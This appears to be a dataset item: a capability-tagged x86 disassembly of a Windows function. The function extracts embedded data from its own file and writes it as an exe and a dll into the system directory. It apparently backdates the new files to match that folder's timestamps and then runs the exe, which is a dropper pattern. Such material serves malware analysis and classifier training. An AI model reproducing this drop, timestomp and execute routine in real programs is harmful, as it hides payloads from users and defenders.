Function at 0x404818
Capabilities:
Create process on windows
Get common file path
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
mov eax, 0x405dd4
call fcn.00405ab0
sub esp, 0x34c
push ebx
push esi
push edi
lea eax, [ebp - 0x254]
mov dword [ebp - 0x10], esp
xor ebx, ebx
push 0x104
push eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x14], ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push ebx
push 0x2000000
push 3
push ebx
push ebx
lea eax, [ebp - 0x254]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
mov dword [ebp - 0x20], ebx
cmp esi, 0xffffffff
je 0x404891
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x4c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
test eax, eax
je 0x40488a
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x20], eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x18]
lea eax, [ebp - 0x14]
push 0x40c034
push eax
mov byte [ebp - 0x150], bl
mov dword [ebp - 4], ebx
call fcn.00404bb7
cmp eax, ebx
jne 0x4048c4
lea eax, [ebp - 0x28]
push 0x408430
push eax
mov dword [ebp - 0x28], 5
call sub.MSVCRT.dll__CxxThrowException
push dword [ebp + 0xc]
lea eax, [ebp - 0x254]
push eax
lea eax, [ebp - 0x150]
push str._s_s.exe
push eax
call sub.MSVCRT.dll_sprintf
push ebx
push ebx
push dword [ebp - 0x14]
call sub.MSVCRT.dll_fseek
mov esi, dword [ebp + 8]
add esp, 0x1c
mov ecx, dword [ebp - 0x18]
lea eax, [ebp - 0x150]
push dword [esi + 4]
push eax
push dword [ebp - 0x14]
call fcn.00404aeb
cmp eax, ebx
jne 0x40491d
lea eax, [ebp - 0x2c]
push 0x408430
push eax
mov dword [ebp - 0x2c], 0x4000
call sub.MSVCRT.dll__CxxThrowException
lea eax, [ebp - 0x150]
push 0x40c100
push eax
call sub.MSVCRT.dll_fopen
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jne 0x40494b
lea eax, [ebp - 0x24]
push 0x408430
push eax
mov dword [ebp - 0x24], 0x4000
call sub.MSVCRT.dll__CxxThrowException
push dword [esi + 8]
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp + 8], eax
push ebx
push dword [esi + 0xc]
push dword [ebp - 0x14]
call sub.MSVCRT.dll_fseek
push dword [ebp - 0x14]
push dword [esi + 8]
push 1
push dword [ebp + 8]
call sub.MSVCRT.dll_fread
push 2
push ebx
push edi
call sub.MSVCRT.dll_fseek
push edi
call sub.MSVCRT.dll_ftell
push edi
mov dword [esi + 0xc], eax
push dword [esi + 8]
push 1
push dword [ebp + 8]
call sub.MSVCRT.dll_fwrite
push dword [ebp + 8]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 0x40
push edi
push 0x44
push 1
push esi
call sub.MSVCRT.dll_fwrite
push edi
call sub.MSVCRT.dll_fclose
mov ecx, dword [ebp - 0x18]
add esp, 0x14
lea eax, [ebp - 0x150]
push dword [ebp - 0x20]
push eax
call fcn.004053ad
push 2
push ebx
push dword [ebp - 0x14]
call sub.MSVCRT.dll_fseek
push dword [ebp - 0x14]
call sub.MSVCRT.dll_ftell
push 0xffffffffffffffbc
mov edi, eax
pop eax
sub eax, dword [esi + 4]
push dword [ebp + 0xc]
sub eax, dword [esi + 8]
add edi, eax
lea eax, [ebp - 0x254]
push eax
lea eax, [ebp - 0x358]
push str._s_s.dll
push eax
call sub.MSVCRT.dll_sprintf
push ebx
push dword [esi + 4]
push dword [ebp - 0x14]
call sub.MSVCRT.dll_fseek
mov ecx, dword [ebp - 0x18]
add esp, 0x2c
lea eax, [ebp - 0x358]
push edi
push eax
push dword [ebp - 0x14]
call fcn.00404aeb
cmp eax, ebx
jne 0x404a3a
lea eax, [ebp - 0x30]
push 0x408430
push eax
mov dword [ebp - 0x30], 0x8000
call sub.MSVCRT.dll__CxxThrowException
push dword [ebp - 0x20]
mov ecx, dword [ebp - 0x18]
lea eax, [ebp - 0x358]
push eax
call fcn.004053ad
push dword [ebp - 0x20]
mov ecx, dword [ebp - 0x18]
lea eax, [ebp - 0x254]
push eax
call fcn.004053ad
jmp 0x404a6e
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x14], ebx
je 0x404a80
push dword [ebp - 0x14]
call sub.MSVCRT.dll_fclose
pop ecx
lea eax, [ebp - 0x150]
push eax
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
je 0x404ad7
mov ecx, dword [ebp - 0x18]
push 1
push dword [ebp + 0xc]
lea eax, [ebp - 0x150]
push eax
call fcn.00405063
cmp eax, ebx
je 0x404ab1
or eax, 0x10000
or dword [ebp - 0x1c], eax
lea eax, [ebp - 0x254]
push 5
push eax
lea eax, [ebp - 0x150]
push ebx
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
ja 0x404ad7
or byte [ebp - 0x1a], 2
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x1c]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret 8